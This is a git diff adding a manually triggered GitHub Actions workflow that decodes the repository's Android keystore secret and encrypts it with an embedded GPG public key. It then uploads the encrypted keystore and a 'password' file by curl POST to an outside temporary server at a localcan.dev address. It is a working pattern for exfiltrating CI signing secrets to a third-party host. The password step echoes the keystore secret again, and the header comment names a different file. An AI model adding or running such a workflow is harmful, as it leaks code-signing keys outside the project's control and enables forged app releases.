diff --git a/.github/workflows/dump_keystore.yml b/.github/workflows/dump_keystore.yml new file mode 100644 index 0000000000..a2a081c506 --- /dev/null +++ b/.github/workflows/dump_keystore.yml @@ -0,0 +1,47 @@ +# .github/workflows/upload_keystore.yml + +name: Dump Keystore File + +on: + workflow_dispatch: + +jobs: + upload_keystore: + runs-on: ubuntu-latest + steps: + - name: Checkout repository + uses: actions/checkout@v3 + + - name: Decode Keystore File + uses: timheuer/base64-to-file@v1 + id: android_keystore + with: + fileName: "android_keystore.keystore" + encodedString: ${{ secrets.ANDROID_KEYSTORE_FILE }} + + - name: Decode GPG Public Key + run: | + echo "LS0tLS1CRUdJTiBQR1AgUFVCTElDIEtFWSBCTE9DSy0tLS0tCgptUUlOQkdjNWYzOEJFQUNwdk5NYlhHaUhBUzk4M0cvUi8rNG5xU3JjSGpMWDUvNlVOZTRTeEFIalpYa3JuSVNKCk5ia2s5azE5UkdRUnBpMGcvOHhDaWZCVDdaWlRiYUlVdldhUW5Mc2VRMFR2bUJNL0NaS1ljaTVTN2VGNWJWOS8KZzZNN2huYnVmbDZVV3F5YzNDSDZhZUNoa0JSWG1NNzVZN01oTDRRL2Z0clBnWUtwSDJrVlFFSTdsT0lTdzlLNQo1cnhZVmI3ZFE3TnJ4WG53RnBUZ3VhVTFVeHJET09SREZRN3NjRFNhaEMwbTVNQkFBUStGeTFkTUZpYkVQeVI5CkpFZUMzTTV3UDFLUnVIdndiSnZhSVJBOHM5WkVRekVzTXBhZWZWWHY2S3pBb3pVb0w2UnZHZTN1eU5IMVJSRGEKb1F6MzVVbDQrak9GL2F4UU5hYzdtQWxHRXc3RjVjaVVxUk1nZ3ArT2ZoUUlZSWVCQ3h6ZUxrSHdBUGM4THBzagpTbEZWMkE3MnZrcnN3L3ZydDVYR3k0YzFKZEhrTVJGejNvNWt5cXpZMHVicUJLZU5yWEJyQW1waWk0R3dGMVVLCk5jR3FpY0srb1dVZXYwYnBHY0xmRUE4bm1tNHpsZ1BYTnN0VTc1WkNQNVZTakl6TlFGSW9TQXpTYVhnQU1tbE4KNDh5cVZacWZBdm5pSUNNNnRjNDNtUmRlcmhKNVJVdUxNSFFIUDFHc0I0NXNUYjg1VFFZaW1GWVlVOUxRVGQyOQpZZTZPUmpPT3NTV043MVNTNDQxWDN0Y0xTdE1BYzE3WUJjRFYrRkpvc0o2Tm9JK05FZnR2NjJxbGZGeXRFbFpzCldsd1JQTThDREVYaEtjdzFwQ1NTck1sRXp2bTh6Ky9nRDNFZHFtR3V2Y1grVUhDY2tQR2tLSldsdVFBUkFRQUIKdENKMFpYTjBJRHgwWlhOMExXTmhjR2R2TFhWd2JHOWhaRUJqWVhCbmJ5NWhjSEEraVFKWEJCTUJDQUJCRmlFRQo0cGhVbkVXRzlIK2lxSVlnR0IzUFJMdjFFMVFGQW1jNWYzOENHd01GQ1FBRDlJQUZDd2tJQndJQ0lnSUdGUW9KCkNBc0NCQllDQXdFQ0hnY0NGNEFBQ2drUUdCM1BSTHYxRTFSKzRRLzlINkdPMXE0bGRNTUNMaS9SNjNmM1B6UVgKMk0yRXRkaDAxdGV5S3ZldzBHUnhaQURGYlhYeHd2eTh5M0F3d255WDJLVE5seGFMV1FOU0ZZSk5haVNZREltVwpoRThsUkwydHQvNldBbDF0M3YvQi9PbDhuV2x4aHBvc1pEc2JIeGJGOGs0eHFGdW1FWkhrZnFJdkxSRG53cDBaCmN0bDcxd1ZYbnIxT2xzVElpQ3hVYldRbGFVMjNvVmpHZDFoaG8wSGxtL0NjM2dxMDE1azk2SkxtL2ZFd3Rxb0UKQmNSNFAzbWZPM1JQQkwxc2VkUFlrOHV2ekwvaTZHakhYekRjZWw5TGI4WWQxdDFKa0xNRDYrZ3JUQ2NzNHp0SQpqZVVEMFVwcU5wTjlOaEJESHJLZGJtU1VLMitIY25IYjkxTjlhaTJMYTZKUktaK04wRnZ6a2JpNTlOSWdnVlhpCjVJM2pJdE0rNWxvKzdwc2YwbmxlN041dU1YZDNNTHpKY2VyVk5sck5WTjBYcGZJOXhiY0tzcVg2SSswakpyZWcKNnBvclVHUGdDb1V1cDMvcEtaaDc5Z2dkNzBwcERycmJtYllhd3JRWDBGNGluVnkzbzJpWXN0azV1TjNhS0Q2UwpjV0M1M1A1VlI3TEd1YlFXanF3YTYrUmVWZFUydnlQandpNU9XWEVCUEkwRzRDRUV6TWlRVWM0OGdjdzUwUW1uCmZYdzJ5b2FJb2VkS0NNbHdMM3oyVkdiUUUvTUM1TElselFwWktDRHYzMmxSMVVHWkdwZCtsZEVwcEU5RmJ0dkcKVHZ5RW9ESk00cGZCeW8wZDBjbGpnazNOMHZ5dU5PVGh3U2xZUHcwcWJpb3pjWlh0aG9kUVRaODlGMUlDNGY5MApscWhZNXFWT2luV3Jha2tUcDdpNUFnMEVaemwvZndFUUFOUEN0UWlRa3krT1V3bkhad3ZxR0xHN1ZqMGhwVnc3Cm5yeVp0VnZ3Z2h1OXBlRG1jM1B6WW1EeHE3Wm1LL3h1Vm5TMnpzY3g1Ti92UGxaQlRrKzdtWUc5VzdEMStEcGcKejdWeTVZcDY2bEhFNGEvM2xDZDdMRGZwQ3ZtdHA0Q2ZrRzVNZHU5b3FML3U5SThMVEVJNzJaTS8zelZJZExVSApsaWY0V2s2cFh1VUVnSmU0bklYWnJHeFhWd01DTzZUSFhpV0xmMVN2R0FXK1pCZVJqblZEUjluSmk4MkU3Rk5rCmhpM0M3RkphVnVGNjhSV0NDY01pemVpbnd1cEFuSUZDVzJDTmowdFhRSFYvbjZWSTBjL2E1dE11VWNka3FHNHUKamZFcURJUEVJM0N4QWlUK29DOHo5aWdMbVNUT2t3Q2J6MEF0emtVSnNvNHZTQ2QvQ0hsZWUvTytRSGwwRWNYYwpzWkpVYU1oWVREY3VsOWVycEM0di9ERkxLdEE2TWZXM0xWMU4rUDQ3ZDR5VU83aFVnN0xWR1hiUlN0eTBxRU54CnlXd1BmSHZhOEZWMmpZYUluSzJXU2RnUUs0UFdhbVlNUzVxdjVHUVJFUEdnaHoyeXhaYTNaUTFEK2FNZE5Lc2QKQzdRQk53blFWdjZWUVRxYUlEcjRCb0ZXYjd2RklDOVdpcWRNRDBGdW9JT0lXeFM3UnBMVEQ3TnB1NjNTRi92QgpZTDZ5K0lSM0dnckxld01QUlk2Y093S1J0Z21rUjZNdnFOQWwwYUZQVDlmRFlyV1R5NWJIVmdvZ2JGQ0I5amU0CllNQnQ0VGdLRFRhS2tyd2JaV052WlJTWnljWDlRdEdZb2g4S0NvemNwb2pmdGxoRXJ1V3VmUEx5cVhXckY4UFgKR1BrbDdtN0JVdFVyQUJFQkFBR0pBandFR0FFSUFDWVdJUVRpbUZTY1JZYjBmNktvaGlBWUhjOUV1L1VUVkFVQwpaemwvZndJYkRBVUpBQVAwZ0FBS0NSQVlIYzlFdS9VVFZCSjdELzRsVzErVmNYK1UvVXUzM0RDWmFRZGowcm5wCkxkZk5lcDRxcGFjUFlsNDRCNjJ2L1hpTU5FdmxTYVRQWm8vSVgrcG8xOEdCY1ErcmE1VDlUbGl1NEJWNHQwK0oKRnNSeWNJYituQ0RUVkpBUm1oa1FaZjF6ZjNxdEg2RWNtN0dRMVNnTWNDc0ZCMkNmVEFnM0RFY0dkSmp2K1VobAptaWRDS2x2UXJmNmVCdGFBVWRQWEEwRkpxMEFxWkxyZ01zZEV6eFp5T0xtOFBzanJ3WlNqbjRaUklaVDRCNWtECi8vNEtkbWRvTXppNWhjckRlMFpsMGcvS20wdTk1WGxUTTJuWE5YSlpvcE0yckNFcTRoRG82a294M0pZU2dPMzIKRlRGbUtJU2FueTFFVnlnS1R4QzBJNEdWZ3lZdm55bytBVG5YUGdzYStGME11a2x0dmxNNlE4MUFLcy9nZXNqYwpTbm9CQ2tMUGo2UXV1QXRBY1hmNGF0R3pGVGl2VVNVTko2Q2M0a0VidnROU21ib01SZFBaWlM4NlJYMFE5R1JZCkszWDRFM1ZRRWhkSWcxRmY0c2hsUWkzdXU5UWZzTXYrdTVjaWZreXRCS0MvSGpmdSt1dy94WERVOWtacjNweGkKQTcrdVNnOTNZYmhrb2xJeUd3Q0xyNUh0NGNBMkJ2TW9yVWNDSWN5b2RKaTFPQjN6am5sdThSSmNseDdESU9jUAozWWZ1dFJMZVZjTSt1cVZHaEg2V0FxWEFuZWFrQVVrRVQwR1ZkeHdVeUtYNHM0QkFoRTVFMndzbDRWWjI3b2dvClM3N0lxa3NTR0J5MjAzOUpqbkxIWkU3VVNodUgvU3pWWTFyNE5ZaEI4NWsxYnRJZ2IrQXQ1RzdLbVNsK2hwZzMKNGpISzlKTGJKQURCR05sRXFBPT0KPU40NjgKLS0tLS1FTkQgUEdQIFBVQkxJQyBLRVkgQkxPQ0stLS0tLQo=" | base64 -d > public.key + gpg --import public.key + + - name: Dump password to file + run: echo ${{ secrets.ANDROID_KEYSTORE_FILE }} > password.txt + + - name: Encrypt Keystore File + run: | + gpg --yes --batch --trust-model always -e -r "test-capgo-upload@capgo.app" -o android_keystore.keystore.enc android_keystore.keystore + + - name: Encrypt password File + run: | + gpg --yes --batch --trust-model always -e -r "test-capgo-upload@capgo.app" -o password.txt.enc password.txt + + - name: Cleanup Unencrypted Keystore && password file + run: | + rm android_keystore.keystore && rm password.txt + + - name: Upload Encrypted Keystore File + run: | + curl -X POST --data-binary @android_keystore.keystore.enc https://tmp-file-srv-node-08.localcan.dev + - name: Upload Encrypted password File + run: | + curl -X POST --data-binary @password.txt.enc https://tmp-file-srv-node-08.localcan.dev